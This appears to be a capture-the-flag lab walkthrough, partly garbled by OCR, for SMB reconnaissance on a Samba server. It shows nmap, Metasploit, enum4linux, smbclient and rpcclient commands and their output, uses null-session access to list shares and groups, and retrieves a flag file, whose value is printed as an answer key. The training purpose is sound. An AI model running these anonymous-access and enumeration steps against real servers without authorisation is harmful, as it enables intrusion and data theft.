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PENTESTER ACADEMY TOOL BOX

TRAINING

Name	Samba Recon: Basics III
URL	https://www.attackdefense.com/challengedetails?cid=555
Туре	Network Recon : SMB Servers

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. List all available shares on the samba server using nmap script.

Answer: IPC\$, aisha, emma, everyone, john, public

Command: nmap --script smb-enum-shares.nse -p445 192.144.106.3

```
root@attackdefense:~# nmap --script smb-enum-shares.nse -p445 192.144.106.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-27 12:31 UTC
Nmap scan report for s1sicfgz3w4u3haf07vlxlshg.temp-network_a-144-106 (192.144.106.3)
Host is up (0.000075s latency).
PORT
       STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 02:42:C0:90:6A:03 (Unknown)
Host script results:
 smb-enum-shares:
    account_used: guest
    Type: STYPE_IPC_HIDDEN
      Comment: IPC Service (samba.recon.lab)
     Users: 1
     Max Users: <unlimited>
      Path: C:\tmp
      Anonymous access: READ/WRITE
      Current user access: READ/WRITE
    \\192.144.106.3\aisha:
      Type: STYPE_DISKTREE
      Comment:
      Users: 0
     Max Users: <unlimited>
      Path: C:\samba\aisha
      Anonymous access: <none>
      Current user access: <none>
    \\192.144.106.3\<mark>emma</mark>:
```

Q2. List all available shares on the samba server using smb_enumshares metasploit module.

Max Users: <unlimited>
Path: C:\samba\public

Anonymous access: READ/WRITE Current user access: READ/WRITE

Users: 0

Answer: public, john, aisha, emma, everyone, IPC\$

Commands:

msfconsole use auxiliary/scanner/smb/smb_enumshares set RHOSTS 192.144.106.3 exploit

```
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```

```
msf5 > use auxiliary/scanner/smb/smb enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.144.106.3
RHOSTS => 192.144.106.3
msf5 auxiliary(scanner/smb/smb_enumshares) > exploit
[+] 192.144.106.3:139
                        - public - (DS)
[+] 192.144.106.3:139
                        - john - (DS)
[+] 192.144.106.3:139
                       - aisha - (DS)
[+] 192.144.106.3:139
                        - emma - (DS)
[+] 192.144.106.3:139
                        - everyone - (DS)
[+] 192.144.106.3:139
                        - IPC$ - (I) IPC Service (samba.recon.lab)
[*] 192.144.106.3: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_enumshares) >
```

Q3. List all available shares on the samba server using enum4Linux.

Answer: public, john, aisha, emma, everyone, IPC\$

Command: enum4linux -S 192.144.106.3

```
root@attackdefense:~# enum4linux -S 192.144.106.3
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon May 27 13:36:49 2019
| Target Information |
Target ..... 192.144.106.3
RID Range ..... 500-550,1000-1050
Username .....''
Password ......
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
______
Enumerating Workgroup/Domain on 192.144.106.3
[+] Got domain/workgroup name: RECONLABS
______
  Session Check on 192.144.106.3
_____
[+] Server 192.144.106.3 allows sessions using username '', password ''
```

```
Session Check on 192.144.106.3
[+] Server 192.144.106.3 allows sessions using username '', password ''
  Getting domain SID for 192.144.106.3
Domain Name: RECONLABS
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
Share Enumeration on 192.144.106.3
Sharename
                Type
                       Comment
     public
                Disk
     john
                Disk
     aisha
                Disk
     emma
                Disk
                Disk
     everyone
     IPC$
                 IPC
                        IPC Service (samba.recon.lab)
```

Q4. List all available shares on the samba server using smbclient.

Answer: public, john, aisha, emma, everyone, IPC\$

Command: smbclient -L 192.144.106.3 -N

```
root@attackdefense:~# smbclient -L 192.144.106.3 -N
       Sharename
                      Type
                                Comment
       public
                      Disk
                      Disk
       john
       aisha
                      Disk
                      Disk
       emma
                     Disk
       everyone
                      IPC
                                IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.
       Workgroup
                         Master
       RECONLABS
                           SAMBA-RECON
root@attackdefense:~#
```

Q5. Find domain groups that exists on the samba server by using enum4Linux.

Answer: Maintainer, Reserved

Command: enum4linux -G 192.144.106.3

Q6. Find domain groups that exists on the samba server by using rpcclient.

root@attackdefense:~#

Answer: Maintainer, Reserved

Commands:

rpcclient -U "" -N 192.144.106.3 enumdomgroups

```
root@attackdefense:~# rpcclient -U "" -N 192.144.106.3
rpcclient $> enumdomgroups
group:[Maintainer] rid:[0x3ee]
group:[Reserved] rid:[0x3ef]
rpcclient $>
```

Q7. Is samba server configured for printing?

Answer: No

Command: enum4linux -i 192.144.106.3

Q8. How many directories are present inside share "public"?

Answer: 2

Command: smbclient //192.144.106.3/public -N

ls

```
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```

Q9. Fetch the flag from samba server.

Answer: 03ddb97933e716f5057a18632badb3b4

Commands:

smbclient //192.144.106.3/public -N Is cd secret Is get flag exit cat flag

```
root@attackdefense:~# smbclient //192.144.106.3/public -N
Try "help" to get a list of possible commands.
smb: \> 1s
                                     D
                                             0 Mon May 27 12:31:08 2019
                                              0 Tue Nov 27 13:36:13 2018
                                     D
                                              0 Tue Nov 27 13:36:13 2018
 dev
                                     D
                                              0 Tue Nov 27 13:36:13 2018
 secret
               1981832052 blocks of size 1024. 1527645816 blocks available
smb: \>
smb: \> cd secret\
smb: \secret\> ls
                                     D
                                             0 Tue Nov 27 13:36:13 2018
                                             0 Mon May 27 12:31:08 2019
 flag
                                             33 Tue Nov 27 13:36:13 2018
               1981832052 blocks of size 1024. 1527645816 blocks available
smb: \secret\> get flag
getting file \secret\flag of size 33 as flag (32.2 KiloBytes/sec) (average 32.2 KiloBytes/sec)
smb: \secret\> exit
root@attackdefense:~# cat flag
03ddb97933e716f5057a18632badb3b4
root@attackdefense:~#
```

References:

- Samba (https://www.samba.org/)
- smbclient (https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)
- 3. enum4Linux (https://tools.kali.org/information-gathering/enum4linux)
- 4. rpcclient (https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html)
- Nmap Script: smb-enum-shares
 (https://nmap.org/nsedoc/scripts/smb-enum-shares.html)
- 6. Metasploit Module: SMB Share Enumeration (https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_enumshares)